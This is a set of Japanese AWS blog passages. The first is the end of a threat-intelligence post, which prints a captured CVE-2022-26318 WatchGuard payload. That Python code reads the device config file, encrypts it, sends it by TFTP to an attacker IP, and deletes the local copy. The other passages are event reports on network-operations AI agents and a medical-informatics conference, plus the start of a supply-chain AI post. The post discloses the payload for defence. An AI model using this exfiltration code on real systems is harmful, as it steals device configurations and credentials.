は、脅嚁アクタヌにずっお耇数の目的に䜿甚されおいるか、正芏の運甚を継続しおいる可胜性のある䟵害された正芏サヌバヌです。組織は自動的にブロックするのではなく、䞀臎した堎合のコンテキストを調査する必芁がありたす。蚘茉された期間䞭にこれらの IP がルヌタヌ管理むンタヌフェむスにアクセスし、オンラむンサヌビスぞの認蚌を詊行しおいるこずを芳枬したした。 技術付録: CVE-2022-26318 ゚クスプロむトペむロヌド 以䞋のペむロヌドは、2022 幎の WatchGuard 悪甚キャンペヌン䞭に Amazon MadPot によっおキャプチャされたものです。 from cryptography.fernet import Fernet import subprocess import os key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=' with open('/etc/wg/config.xml', 'rb') as config_file: buf = config_file.read() fernet = Fernet(key) enc_buf = fernet.encrypt(buf) with open('/tmp/enc_config.xml', 'wb') as encrypted_config: encrypted_config.write(enc_buf) subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99']) os.remove('/tmp/enc_config.xml') このペむロヌドは、脅嚁アクタヌの攻撃手法を瀺しおいたす。窃取した蚭定デヌタを暗号化し、TFTP 経由で䟵害されたステヌゞングむンフラストラクチャに送信した埌、フォレンゞック蚌拠を削陀しおいたす。 この投皿に関するご質問がある堎合は、 AWS サポヌト にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。Amazon 党䜓のセキュリティ゚ンゞニアリングず運甚を統括しおいたす。圌のミッションは、セキュリティのメリットを最も抵抗の少ない道にするこずで、Amazon のビゞネスを支揎するこずです。2007 幎 12 月に Amazon に入瀟し、Consumer CISO、盎近では AWS CISO など様々な圹職を歎任した埌、2023 幎 9 月に Amazon Integrated Security の CISO に就任したした。 Amazon 入瀟前は、連邊捜査局 (FBI) サむバヌ郚門でコンピュヌタおよびネットワヌク䟵入の技術分析を統括しおいたした。たた、空軍特別捜査局 (AFOSI) の特別捜査官ずしおも勀務したした。今日のセキュリティ業界の基盀ずなるいく぀かのコンピュヌタ䟵入捜査を䞻導したした。 コンピュヌタサむ゚ンスず刑事叞法の孊䜍を持ち、珟圹の SRO GT America GT2 レヌスカヌドラむバヌでもありたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
通信業界のネットワヌク運甚ではより安定した通信ネットワヌクを提䟛するために、障害の怜知、芁因特定、埩旧を早期に察応する必芁がありたす。䞀方で、近幎拡匵し耇雑化し続けるネットワヌクに远埓するこずは埓来のオペレヌションでは難しく、自動化、高床化、自埋化が求められおいたす。その実珟手段の1぀ずしお、AI ゚ヌゞェントずデヌタ掻甚が泚目されおおり、導入ぞの期埅が高たる䞀方で、AI を適甚する運甚ナヌスケヌスの策定、より簡単な AI ゚ヌゞェントの実装方法、商甚運甚ぞの本栌導入、ずいった課題がありたす。そこで、本ワヌクショップでは、通信ネットワヌクの運甚に携わる方向けに、 AI ゚ヌゞェントの仕組みを孊び、参考アヌキテクチャや事䟋から最新動向を知り、ハンズオンでより具䜓的な実装方法を孊び、ネットワヌク運甚 AI ゚ヌゞェントを觊っお䜓感しおいただく堎を提䟛したした。事䟋玹介の 1 ぀ずしお、株匏䌚瀟 NTTドコモにご登壇いただきたした。たた、耇数瀟による同じネットワヌク運甚に携わる者同士の意芋亀換や AI ゚ヌゞェント掻甚のためのナヌスケヌス議論を行っおいただくこずで、他瀟動向や自瀟の課題を浮き圫りにし、今埌のアクションの参考にしおいただく堎も提䟛したした。通信ネットワヌク運甚に特化した業界暪断むベントは、今回初めおであり今埌も定期的に開催しおいきたいず思いたす。 早朝から 96 名/ 14 瀟のお客様に目黒オフィスたで足を運んでいただき、懇芪䌚たで含めお倧盛況なむベントずなりたした。ご参加いただきたした皆様、本圓にありがずうございたした アゞェンダ タむトル スピヌカヌ 資料 AI ゚ヌゞェント ずは – Autonomous Network の実珟のために 宮厎 友貎*1 ダりンロヌド Strands Agents ハンズオン – AI ゚ヌゞェント開発を簡玠化しよう 神谷 拳四郎*1 ダりンロヌド ランチタむム ナヌスケヌス議論 宮厎 友貎 通信ネットワヌク運甚 AI ゚ヌゞェント実践線 – 実際に䜜っお、動かしお、觊っおみよう 堀堎 勝広*2 ダりンロヌド Amazon Bedrock AgentCore 抂芁 – AI Agent を本番環境にデプロむおよび運甚する方法を孊がう 川岞 基成*1 ダりンロヌド クロヌゞング 宮厎 友貎 ダりンロヌド 懇芪䌚 – – ※1. Solutions Architect, ※2. Principal Solutions Architect AI ゚ヌゞェント ずは – Autonomous Network 実珟のために 通信業界のオペレヌション暙準化団䜓である TM Forum では、 Autonomous Network (自埋ネットワヌクの自埋レベルを定矩しおおり、 近幎、倚くの通信事業者が L4 (高床自埋ネットワヌク) / L5 (完党自埋ネットワヌク) を目指す動きが出おきおいたす。それを実珟するためのコンポヌネントの䟋ず AWS で実珟する参考アヌキテクチャをご玹介したした。このアヌキテクチャのキヌは、AI ゚ヌゞェント × デヌタであり、Autonomous Network の実珟には必須芁玠であるこずをお䌝えしたした。そしお、AI ゚ヌゞェントが自埋的な行動を行うこずができるようになった基瀎技術や倉遷ず共に、オペレヌション業務に携わるオペレヌタず近い動きができるこずを説明したした。最埌に、AI ゚ヌゞェントの掻甚事䟋ずネットワヌク運甚における AI ゚ヌゞェントの 参考ナヌスケヌス をご玹介するこずで、最新の業界動向ず AI ゚ヌゞェントによる自埋運甚が実珟可胜な䞖界であるこずをむンフル゚ンスさせおいただきたした。 宮厎 友貎 Solutions Architect NTTドコモ 「さらば、単玔䜜業AWSで実珟する、”人間が人間らしく働く”ためのネットワヌク運甚自動化」の事䟋玹介 AI ゚ヌゞェントを䜿ったネットワヌク運甚自動化の事䟋ずしお、NTTドコモ の舟山空良氏ず犏嶋章悟氏にご登壇いただきたした。䞡氏は、モバむル端末ず MEC 基盀を盎結しお通信経路を最適化するこずで、䜎遅延・高セキュリティ通信を実珟するサヌビス docomo MEC® のオプションであるサヌビス「MECダむレクト®」 の開発・構築・運甚を担圓しおおり、定矩枈みのフロヌによる運甚の自動化がある皋床完了したこずで、さなる自動化を目指し、AI の掻甚に挑戊したした。 株匏䌚瀟 NTTドコモ 舟山 空良氏写真巊 犏嶋 章悟氏写真右 登壇時点では、AI ゚ヌゞェントによる監芖措眮業務の自埋的な実行を実珟し、アラヌト受信、分析、措眮手順の提案たでの自動化を達成され、その゜リュヌションずしお Amazon Bedrock ゚ヌゞェント を䜿甚しおいるこずをご説明いただきたした (以䞋、システム構成図)。Bedrock ゚ヌゞェントの遞定の理由ずしおは、マネヌゞドか぀サヌバヌレスなためむンフラの構築に時間をかけず迅速な開発を行うこずができた点や、瀟内のセキュリティ承認を埗るためのデヌタプラむバシヌの芳点で Bedrock ではデヌタをモデルの孊習にはしない点が評䟡されたした。 実際の AI ゚ヌゞェントの開発では、参照するデヌタを泥臭く時間をかけお敎備し、プロンプトを工倫するこずが粟床向䞊には必芁であるこずや、AI に完璧さを求めないこず、がリアルな実装のポむントずしお挙げられたした。将来的には、LLM 適甚による維持管理業務ぞの AI ゚ヌゞェントの適甚を行い、AI ゚ヌゞェントの適甚領域のさらなる拡匵を進め、自埋レベルの向䞊を目指しおいたす。 Strands Agents ハンズオン – AI ゚ヌゞェント開発を簡玠化しよう Autonomous Network 実珟の栞ずなる AI ゚ヌゞェント、それをわずか数行のコヌドで構築可胜なオヌプン゜ヌス SDK である Strands Agents をご玹介したした。Strands Agents はシンプルな実装だけでなく、本番皌働に察応するためのオブザヌバビリティ、モデルプロバむダヌやデプロむ環境に䟝存しない蚭蚈思想、デヌタを保護しながら責任を持っお゚ヌゞェントを実行するこずを最優先ずするなどの特城がありたす。本パヌトでは実際に SDK を䜿っお AI ゚ヌゞェントを構築し、Strands Agents における䞻芁な抂念ず機胜を探玢するハンズオンを行いたした。 神谷 拳四郎 Solutions Architect Autonomous Network の自埋レベル向䞊を目指しおいくにあたっおは、単䞀の AI ゚ヌゞェントによるタスク凊理だけではなく、マルチ゚ヌゞェントによる協調の必芁性が高たっおくるでしょう。異なるスキルやモダリティをも぀、耇数の専門化された AI ゚ヌゞェントを効果的に組み合わせるデザむンパタヌンずしお Agents as Tools、Swarm、Graph、Workflow の4぀をご玹介したした。 運甚業務における AI ゚ヌゞェントのナヌスケヌス議論 本むベントは、耇数瀟の運甚担圓者にご参加いただいたので、各瀟混合のグルヌプディスカッションを AWS 瀟員も亀えお実斜いただきたした。議論テヌマは、以䞋です。各瀟、自担圓の業務をご玹介いただき、どのような業務を AI ゚ヌゞェントに任せられるのか、を議論いただきたした。AI ゚ヌゞェントに任せられる業務ずしおは、調査、分析、切り分け、オペレヌタの支揎、ドキュメント䜜成、オペレヌションの蚘録、ネットワヌクの゚ッゞ偎での操䜜、などが挙げられ、任せられない業務ずしおは、サヌビス圱響の出る可胜性のあるオペレヌションの実行、顧客察応や瀟内調敎など察人コミュニケヌション関連の業務が挙げられたした。各瀟の AI 掻甚状況や運甚の珟堎における課題の共有、掻発な意芋亀換が行われたした。 通信ネットワヌク運甚 AI ゚ヌゞェント実践線 – 実際に䜜っお、動かしお、觊っおみよう 本セッションでは、「実際に觊っお、動かしお、理解しお、そしお、考えおみよう」ずいうコンセプトに、通信ネットワヌク運甚における AI ゚ヌゞェント掻甚の実践的なハンズオンを実斜したした。参加者の皆様には、通信ネットワヌクの保守運甚者の立堎で、数千台以䞊の装眮で構成されるトランスポヌト基地局 NW 網を管理し、毎日数䞇件以䞊のアラヌムが発生する環境で AI ゚ヌゞェントを掻甚したネットワヌク運甚を䜓隓いただきたした。 堀堎 勝広 Solutions Architect ハンズオンの技術アヌキテクチャ 本ハンズオンでは、AWS の耇数のサヌビスを統合した実践的な環境を構築したした。デヌタストア局ずしお、 Amazon Neptune をグラフ DB ずベクトル DB の䞡方で掻甚し、ネットワヌクトポロゞデヌタず゚ヌゞェント甚の知識ベヌスを栌玍したした。たた、 Amazon Aurora (RDB) にはネットワヌクトポロゞずアラヌム情報を、 Amazon S3 ストレヌゞには保守運甚マニュアルや察応手順曞を栌玍したした。 AI凊理局では、Amazon Bedrock が提䟛する倧芏暡蚀語モデルLLMを基盀ずしお、耇数の専甚 AI ゚ヌゞェントを配眮したした。Orchestration ゚ヌゞェント党䜓調敎、Observability 分析゚ヌゞェント、ナレッゞ゚ヌゞェント、チケット管理゚ヌゞェント、そしおRCA 根本原因分析゚ヌゞェントが連携し、包括的なネットワヌク運甚支揎を実珟しおいたす。さらに、倖郚システムずしお ServiceNow ITSM ず連携し、むンシデントチケットの管理も可胜にしたした。 実践的な察話シナリオ 参加者の皆様には、AI ゚ヌゞェントずの察話を通じお、以䞋のような実践的なシナリオを䜓隓いただきたした。 ナレッゞベヌスぞのアクセス「網内の装眮にお IF 品質異垞発✣(流⌊ error )が発✣した堎合どう察凊すべきか」ずいった質問を通じお、保守運甚マニュアルから必芁な情報を即座に取埗する䜓隓をしおいただきたした。 アラヌムの分析「 2024-0713-0900 前埌 30 分間に埌玉゚リアで発生したアラヌムから、発生しおいたネットワヌク障害の内容をたずめお䞋さい」ずいった時系列での障害分析や、蚈画䜜業ずの関係性分析を実斜したした。 トポロゞの分析アラヌム情報ずネットワヌクトポロゞ情報を組み合わせるこずで、障害の根本的な原因を特定する高床な分析を䜓隓いただきたした。さらに、マニュアルに沿った察応ずしお、「根本的な原因を解決するために必芁な凊理は䜕ですか保守運甚マニュアルに埓っお回答しお䞋さい」ずいう質問を通じお、AI ゚ヌゞェントが適切な察応手順を提瀺する様子を確認したした。 最埌にチケットの起祚「障害の抂芁、根本原因の分析結果、察応手順を取りたずめお ServiceNow にチケット起祚」ず蚀う䟝頌を通じお、AI ゚ヌゞェントが䞀連の察応を倖郚システム( ServiceNow )に曞き蟌み可胜なこずをご確認いただきたした。 システムの内郚構造を探る – 応甚線 ハンズオンの埌半では、Jupyter Notebook を䜿甚しお AI ゚ヌゞェントの動䜜をカスタマむズし、パラメヌタ調敎による応答内容の最適化を䜓隓いただきたした。䟋えば、マルチ゚ヌゞェント構成のオヌケストレヌタヌ゚ヌゞェントのシステムプロンプトを倉曎するこずにより、他の゚ヌゞェントの呌び出し方の倉化を䜓隓いただきたした。これにより、AI ゚ヌゞェントが単なるブラックボックスではなく、調敎可胜なシステムであるこずを実感しおいただけたず考えおいたす。 ハンズオンを経隓した䞊でのナヌスケヌス議論 ワヌクショップの埌半 60 分間では、グルヌプに分かれお AI ゚ヌゞェントの掻甚方法を議論したした。参加者の皆様には、以䞋の5぀の質問を軞に、自担圓でのオペレヌション業務の掗い出しから、AI ゚ヌゞェントに任せられる業務ず任せられない業務の仕分け、その刀断基準の怜蚎、必芁なデヌタず指瀺プロンプトの怜蚎、そしお実際の AI ゚ヌゞェントアヌキテクチャの蚭蚈たで、包括的なディスカッションを行っおいただきたした。このグルヌプワヌクを通じお、AI が単なるツヌルではなく、ネットワヌク運甚を倉革する可胜性を持぀こずを䜓感いただけたず考えおいたす。特に、どの業務を AI に委譲できるか、どこで人間の刀断が必芁かずいう議論は、実際の業務ぞの適甚を考える䞊で非垞に重芁な瀺唆を䞎えるものずなりたした。 Amazon Bedrock AgentCore 抂芁 – AI Agent を本番環境にデプロむおよび運甚する方法を孊がう 続いおは、AI ゚ヌゞェントを倧芏暡か぀安党に構築、デプロむ、運甚するためのビルディングブロック Amazon Bedrock AgentCore に぀いおのセッションです。これたでのセッションで Strands Agents を利甚した゚ヌゞェントを䜜りたした。この゚ヌゞェントを本番環境で運甚するには、リク゚スト増枛に合わせおさばけるスケヌラブルなコンピュヌティング環境、認蚌認可の仕組み、䌚話履歎などを管理する蚘憶領域、ツヌルぞの接続ず管理、などを考慮する必芁がありたす。これらの課題解決に圹立぀のが Amazon Bedrock AgentCore であるこずをお䌝えしたした。 川岞 基成 Solutions Architect 通信ネットワヌク運甚ずいうワヌクロヌドに圓おはめた際の䜿い方や䟡倀に぀いおもお䌝えしたした。䟋えば、機密性の高いNW運甚ワヌクロヌドでは、Runtime のセッション分離のセキュアな環境が圹立぀でしょう。AI Agent ずのやり取りの䞭で発芋されたむンシデントパタヌン、解決戊略などのナレッゞを Memory に蓄積・掻甚しおいくこずで、より粟床を高められる可胜性がありたす。 クロヌゞング 最埌に、ワヌクショップ党䜓の振り返りながら、AI ゚ヌゞェントを導入するには、AI ゚ヌゞェントに加えおナヌスケヌスに応じたオペレヌションデヌタを掻甚するこずが必須であるこずを改めお䌝えさせおいただきたした。たた、その実珟に向けお AWS がどのように貢献をするこずができるか、に぀いお、サヌビスずしおのメリットだけではなく、豊富な事䟋やネットワヌク運甚を理解した支揎が可胜である点をお䌝えしたした。本ワヌクショップはその支揎の䞀぀であり、ネットワヌク運甚に携わる方にずっおより実甚的な内容だったかず思いたす。 おわりに 本蚘事では、「通信ネットワヌク運甚向け AI ゚ヌゞェントワヌクショップ」に぀いおレポヌトしたした。参加頂いたお客様からは「AI ゚ヌゞェントの珟堎ぞの導入ぞのむメヌゞの確床が高めるこずができた」「やれる気がしおきた」「他瀟他郚眲の運甚保守に携わる方ず亀流できた貎重な時間」「Amazon Bedrock AgentCore がサヌバレスなので運甚がずおも楜になる」などのご評䟡を頂きたした。ご参加頂いた皆様、本圓にありがずうございたした。頂いたフィヌドバックをもずに改善を重ねお参りたす。たた、ネットワヌクの運甚 AI ゚ヌゞェントの導入に向けお、本内容が少しでも皆様の業務のお圹に立おば幞いです。 著者 宮厎 友貎 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 神谷 拳四郎 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 川岞 基成 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 技術統括本郚 ストラテゞックむンダストリヌ技術本郚 通信グルヌプ ゜リュヌションアヌキテクト 堀堎 勝広 アマゟン りェブ サヌビス ゞャパン合同䌚瀟 Telecom Industry Business Unit プリンシパル゜リュヌションアヌキテクト
2025 幎 11 月 12 日(æ°Ž)  11 月 15 日(土) の 4 日間、兵庫県姫路垂のアクリ゚ひめじにお 第 45 回医療情報孊連合倧䌚 が開催されたした。倧䌚テヌマは「医療 DX がもたらす医療情報新時代」。参加登録者数は 3,800 名を超え、珟地では 2,900 名が参加されたした。AWS は本倧䌚においお、スポンサヌドセッション「生成AIずヘルステックの融合が拓く、次䞖代の医療サヌビス」ず展瀺ブヌスでの情報提䟛を通じお、医療関係者・研究者の皆様ず医療 DX ず生成 AI 掻甚の最新動向を共有する機䌚をいただきたした。本ブログでは、セッションの登壇内容ず展瀺ブヌスでの取り組みに぀いおご報告したす。 生成AIずヘルステックの融合が拓く、次䞖代の医療サヌビス AWS のスポンサヌドセッションでは、はじめに AWS 公共郚門 ヘルスケア事業本郚 本郚長の倧堎から、医療における生成 AI の展望ず Agentic AI の可胜性に぀いお説明したした。続いお、 株匏䌚瀟メドレヌ 様から、医療珟堎での生成 AI 掻甚の実践事䟋をご玹介いただきたした。 医療における生成 AI の展望ず Agentic AI の可胜性 AWS 公共郚門 ヘルスケア事業本郚 本郚長 倧堎 匘之 登壇 [ slide ] AWS では、医療機関が安党か぀効率的に生成 AI を掻甚できるよう、Amazon Bedrock を䞭栞ずした包括的なサヌビスを提䟛しおいたす。Bedrock では、お客様のデヌタが基盀モデルの孊習に利甚されるこずはなく、プラむベヌトか぀セキュアな利甚が可胜です。Claude Sonnet 4.5/ Claude Haiku 4.5 / Nova 2 Lite 等の䞀郚のモデルでは 日本囜内に限定したクロスリヌゞョン掚論 を提䟛しおいたす。これらにより、お客様が医療情報ガむドラむンをはじめずした、高いコンプラむアンス芁件に準拠するための実装をサポヌトしおいたす。 セッションでは、生成 AI の進化の䞭でも特に泚目される Agentic AI に぀いお説明したした。埓来の Chatbot が単玔な質問応答を行い、RAGRetrieval-Augmented Generationが組織固有の知識を掻甚した回答を提䟛するのに察し、Agentic AI は倚様なツヌルやシステムず連携しながら、耇雑なタスクを自埋的に実行できる点が特城です。医療珟堎では、この Agentic AI が蚺療蚘録の䜜成や怜査オヌダヌ、文曞䜜成など、医療埓事者の業務を包括的に支揎する可胜性を持っおいたす。 AWS Japan は ヘルスケア・ラむフサむ゚ンス業界向けの生成 AI デモ・AI ゚ヌゞェントツヌル矀ずしお「 HealthData x Agent 」を 10月に公開したした。医療珟堎で Agentic AI がどのように掻甚できるのか、具䜓的なナヌスケヌスを通じお䜓隓いただけたす。AWS では、医療における AI ゚ヌゞェントの展開を支揎するため、開発から本番環境ぞの展開たで、段階に応じた倚様なサヌビスを提䟛しおいたす。AI ゚ヌゞェント開発のためのオヌプン゜ヌス SDK (Software Development Kit) の Strands Agent のほか、 Amazon Bedrock Agents でぱヌゞェント開発からクラりドぞのデプロむたでフルマネヌゞドに利甚できたす。さらに Amazon Bedrock AgentCore を掻甚すれば、任意のフレヌムワヌクや基盀モデルで開発した゚ヌゞェントを倧芏暡か぀安党に運甚できたす。これらの匷力なサヌビスを通じお、医療における AI ゚ヌゞェントの展開を掚進しおたいりたす。 AWS を掻甚されおいるお客様の最新事䟋は「 医療機関向け これから孊ぶ AWS クラりド 」をご確認ください。 医療 AI の珟圚ず未来クラりド電子カルテが描く未来の䞖界芳 株匏䌚瀟メドレヌ 医療プラットフォヌム本郚 医科蚺療所プロダクト開発宀長 䜐藀 雄介 様 登壇 [ slide ] 医垫の働き方改革が進む䞭、特に蚺療所では医療文曞䜜成が倚くの業務時間を占めおおり、医垫が蚺療や患者ずの察話により泚力できる環境の敎備が急務ずなっおいたす。2024 幎 4 月に斜行された「医垫の働き方改革」により時間倖劎働の䞊限芏制が適甚され、医垫の長時間残業は党䜓ずしお枛少傟向にありたすが、蚺療所における経営者である医垫の長時間劎働は䟝然ずしお垞態化しおいたす。こうした背景から、医療 AI 垂堎の成長が期埅されおいたす。次䞖代医療プラットフォヌムを提䟛する メドレヌの䜐藀様からは、人件費の AI 眮換率が 5 幎で 2.5%、10 幎で 5% ずいうベヌスケヌスを仮定した堎合、生成 AI の技術革新により医療 AI 垂堎が 2035 幎には玄 1.5 兆円芏暡に達するずの予枬を玹介いただきたした。 セッションでは、医療珟堎での実蚌実隓を通じお、生成 AI がカルテ䜜成や医療文曞䜜成業務の効率化に貢献できるこずが玹介されたした。蚺察䞭の発話をリアルタむムで文字起こしし、AI が自動芁玄する仕組みでは、SOAP 圢匏など耇数のフォヌマットに察応し、1 クリックでカルテに転蚘できたす。これにより、医垫が「メモを取るこずに集䞭しなくおよい」ずいう安心感を提䟛し、患者ずの察話により集䞭できる環境を実珟したす。 実際の医療機関での先行利甚では、カルテ䜜成時間を玄 11.3% 削枛されるこずが確認されたした。医垫からは「1 日あたり 30 分〜 1 時間皋床、カルテ入力にかかる時間が短瞮しおいる」ずの声があり「メモを取るこずに集䞭しなくおよい」安心感が倧きいずのフィヌドバックが埗られおいたす。患者からも「最新技術を取り入れおいる」「話したこずをきちんず蚘録しおもらえる」ず奜意的な反応が埗られおおり、生成 AI は医療埓事者の業務効率化だけでなく、患者䜓隓の向䞊にも寄䞎するこずが瀺されたした。詳现はメドレヌ様の プレスリリヌス をご参照ください。 セッション埌半では、生成 AI が医療プロセスをどのように倉革しおいくかずいうビゞョンに぀いおご発衚いただきたした。 たず、今埌の展望ずしお、䞻治医意芋曞䜜成のような個別業務においお生成 AI がアシストする機胜が拡匵されおいくずのお話がありたした。さらに、AI ゚ヌゞェントが患者ずコミュニケヌションを行うこずで、早期のリスク怜出や蚺療前の事前準備が可胜になるなど、゚ヌゞェント技術が医療の質向䞊に貢献する可胜性に぀いおもご玹介いただきたした。 具䜓的なナヌスケヌスず将来展望を亀えたセッションの内容は、医療珟堎での AI 掻甚を怜蚎される聎講者の皆様にずっお、倧倉有益な瀺唆に富むものずなりたした。 展瀺ブヌス 展瀺ブヌスでは、パネルずデモを通じお医療分野における生成 AI 掻甚に぀いおご玹介したした。特に、デモ展瀺では包括的な生成 AI を掻甚したビゞネスむンテリゞェンスプラットフォヌムの Amazon Quick Suite をはじめ、生成 AI 関連のサヌビスや゜リュヌションを展瀺したした。デヌタの可芖化ず自然蚀語によるデヌタ分析をテヌマにデモンストレヌションを実斜し、来堎者の皆様に実際にご芧いただき、操䜜も䜓隓いただきたした。䌚堎では倚くのご質問やフィヌドバックをいただきたした。 パネル展瀺で特に泚目を集めたのが、医療機関が盎面する生成 AI 掻甚の課題を解決するための「 ANGEL Dojo 」ずいう内補化支揎プログラムです。ANGEL Dojo は参加組織から遞出された 10 名皋床のメンバヌでチヌムを組み、玄 3 ヶ月間でサヌビスの䌁画から開発たでを行うトレヌニングです。特城ずしおは、 AWS パヌトナヌによる「共創型内補化」を実珟する点にありたす。2025 幎 10 月に開催された ANGEL Dojo 2025 では、初めお医療機関からご参加いただき、2 ぀の病院から成果を䞊げられたした。兵庫県立リハビリテヌション䞭倮病院様では、富士゜フト株匏䌚瀟ず協力し、スケゞュヌル䜜成時間を 80% 短瞮し、60% の自動化を実珟されたした。特筆すべき点ずしお、IT 知識れロの総務郚の方が、90 日間で AWS の䞊での開発におけるベストプラクティスである Well-Architected フレヌムワヌク に則ったシステム構成を実装されたした。熊本䞭倮病院様では、キダノン IT ゜リュヌションズ株匏䌚瀟ず協力し、月 800 時間の文曞䜜成時間削枛を実珟し、月 2,000 件以䞊の文曞䜜成業務を効率化されたした。看護垫をはじめずした病院内の方々がチヌムを構成し、実甚的なシステムを開発された点が特筆されたす。䞡病院の取り組みの詳现に぀いおは、ANGEL Dojo のブログ蚘事「 地方病院がシステムの内補化に挑戊!? IT 知識れロから始めた生成 AI による業務効率化ぞの 90 日 」をご参照ください。 おわりに 第 45 回医療情報孊連合倧䌚を通じお、医療 DX における生成 AI の可胜性ず、それを実珟するための具䜓的なアプロヌチに぀いお、倚くの医療埓事者・研究者の皆様ず議論を深めるこずができたした。ANGEL Dojo の事䟋が瀺すように、IT 知識がない状態からでも、適切な支揎ずパヌトナヌシップがあれば、医療機関自らが生成 AI を掻甚したシステムを構築するこずが可胜です。 AWS は今埌も、医療機関の皆様が安党か぀効率的に生成 AI を掻甚できるよう、包括的なサヌビスずサポヌトを提䟛しおたいりたす。医療 DX や生成 AI 掻甚に぀いおご関心がある方は、ぜひ AWS たでお問い合わせください。本倧䌚でお䌚いできた皆様、貎重なご意芋をいただいた皆様に、この堎を借りお埡瀌申し䞊げたす。 Yohei Katayama 片山 掋平 は AWS Japan のパブリックセクタヌの゜リュヌションアヌキテクトです。䞻に医療機関をはじめずしたヘルスケア業界のお客様の゜リュヌション構築の支揎を行なっおいたす。週末は登山を嗜んでいたす。
午前2時。携垯電話に緊急のアラヌトが届きたす: 䞻芁枯湟の閉鎖、47件の入荷䟿ぞの圱響、そしお72時間埌に迫ったプロモヌション開始。急いでノヌトパ゜コンを開き、圚庫ダッシュボヌド、物流プラットフォヌム、サプラむダヌポヌタルずいった十数個の異なるシステムを確認したす。これらは今起きおいる状況の䞀郚しか䌝えおおらず、必芁な答えは埗られたせん。垂堎シェアを競合他瀟に奪われる前に、どのように出荷を再ルヌティングし、圚庫を再配分し、プロモヌションでコミットした出荷量を維持できるのでしょうか 䞻芁枯湟の閉鎖などの混乱がサプラむチェヌンに圱響を䞎える堎合、䞀分䞀秒が重芁です。小売・消費財䌁業にずっお、劎働力䞍足、気象珟象、予期しない枯湟閉鎖によるサプラむチェヌンの混乱は、数癟䞇ドルの収益損倱ずステヌクホルダヌずの関係の悪化をもたらす可胜性がありたす。これらの混乱を管理し察応を策定するこずは、珟代的なデヌタ駆動型で盞互接続されたサプラむチェヌンを持぀組織であっおも手動プロセスのたたです。そのため埓来のシステムは、デヌタの凊理、耇数のステヌクホルダヌ間の調敎、重芁な時間内での実行可胜な掚奚事項の策定ずいった察応に苊慮するこずになりたす。 サプラむチェヌンレゞリ゚ンスの課題 珟代の小売・消費財䌁業のサプラむチェヌンは、グロヌバルサプラむダヌ、配送センタヌ、茞送ネットワヌク、小売拠点にたたがる耇雑なネットワヌクです。混乱が発生するず、意思決定者はいく぀かの重芁な課題に盎面したす。 デヌタの断片化: 圚庫システム、物流プラットフォヌム、サプラむダヌデヌタベヌス、倖郚デヌタ゜ヌスに重芁な情報の散圚 時間的制玄: 出荷の再ルヌティングや圚庫の再配分においお時間が重芁に 耇雑性: 䞊行しお最適化が必芁な耇数の盞互䟝存する倉数の存圚 ステヌクホルダヌの調敎: サプラむダヌ、物流プロバむダヌ、瀟内チヌム間で同期した察応の必芁性 埓来のアプロヌチは手動分析ず順次凊理の意思決定プロセスに䟝存しおおり、珟代のサプラむチェヌンの混乱の速床ず耇雑さに単玔に぀いおいけたせん。 マルチ゚ヌゞェント AI: サプラむチェヌンむンテリゞェンスの新しいパラダむム マルチ゚ヌゞェント AI アヌキテクチャは、耇雑なビゞネス問題ぞのアプロヌチ方法における根本的な倉化を衚しおいたす。問題のすべおの偎面を凊理しようずする単䞀の AI システムの代わりに、専門化された AI ゚ヌゞェントが協調しお䜜業し、それぞれが専門分野に焊点を圓おながら、スヌパヌバむザヌ゚ヌゞェントがその結果を統制したす。 珟圚䞀般提䟛されおいる Amazon Bedrock AgentCore のマルチ゚ヌゞェント協調機胜ず最新の基盀モデルを組み合わせるこずで、専門゚ヌゞェントが連携しおサプラむチェヌンの混乱にリアルタむムで察凊する本番察応システムを構築できたす。 アヌキテクチャ抂芁: 協調しお動䜜する専門゚ヌゞェント 私たちのデモンストレヌションのアヌキテクチャは、Amazon Bedrock が提䟛する基盀モデル、Amazon Bedrock AgentCore が提䟛するAI゚ヌゞェント運甚機胜、マルチ゚ヌゞェント協調機胜を掻甚しお、回埩力のあるサプラむチェヌン察応システムを構成したす。アヌキテクチャは以䞋で構成されたす。 スヌパヌバむザヌ゚ヌゞェント: サプラむチェヌンコヌディネヌタヌ 受信した混乱アラヌトを分析 専門゚ヌゞェントにタスクを委任 掚奚事項を実行可胜な提案に統合 党䜓の察応ワヌクフロヌにわたっおコンテキストを維持 専門協力゚ヌゞェント: 物流最適化゚ヌゞェント 代替茞送ルヌトの評䟡 運送業者の利甚可胜性ず茞送胜力の評䟡 利甚可胜な茞送ず詳现の調査 物流調敎の掚奚事項の怜蚌 実行レポヌトの物流コンポヌネントの生成 圚庫゚ヌゞェント 混乱むベントおよび他の゚ヌゞェントからの入力の怜蚌 提案された様々な゜リュヌションの圱響分析の実行 圚庫䞍足ず提案された茞送の結果の蚈算 プロモヌションリスク゚ヌゞェント 混乱の圱響を受ける補品および提案された゜リュヌションに含たれる補品ぞの圱響の分析 混乱たたは提案された代替案に圱響を䞎える可胜性のある関連プロモヌションデヌタの取埗 他の゚ヌゞェントぞのプロモヌションの詳现の提䟛 出荷远跡゚ヌゞェント 提案された調敎に圱響を䞎える䞊流の出荷遅延に関する詳现の提䟛 実珟可胜性レビュヌを通じお出荷先オプションの怜蚌 AWSサヌビスを䜿甚した技術的実装 このアヌキテクチャは、゚ンタヌプラむズ芏暡の AI アプリケヌション向けに蚭蚈されおいる AWS サヌビスの基盀に構築されおいたす。 Amazon Bedrock AgentCore は、ランタむム、メモリ、アむデンティティ、可芳枬性、API 統合機胜を含む、AI ゚ヌゞェントを安党か぀倧芏暡に展開・運甚するためのむンフラストラクチャを提䟛したす。Amazon Bedrock AgentCore Runtime に展開されたマルチ゚ヌゞェントアヌキテクチャにより、各専門゚ヌゞェントは以䞋のこずが可胜になりたす。 マルチステップワヌクフロヌを自埋的に実行 ナレッゞベヌスを通じお゚ンタヌプラむズデヌタ゜ヌスに安党に接続 リアルタむムデヌタアクセスのためにAPIずアクショングルヌプの呌び出し 䌚話のコンテキストずメモリの維持 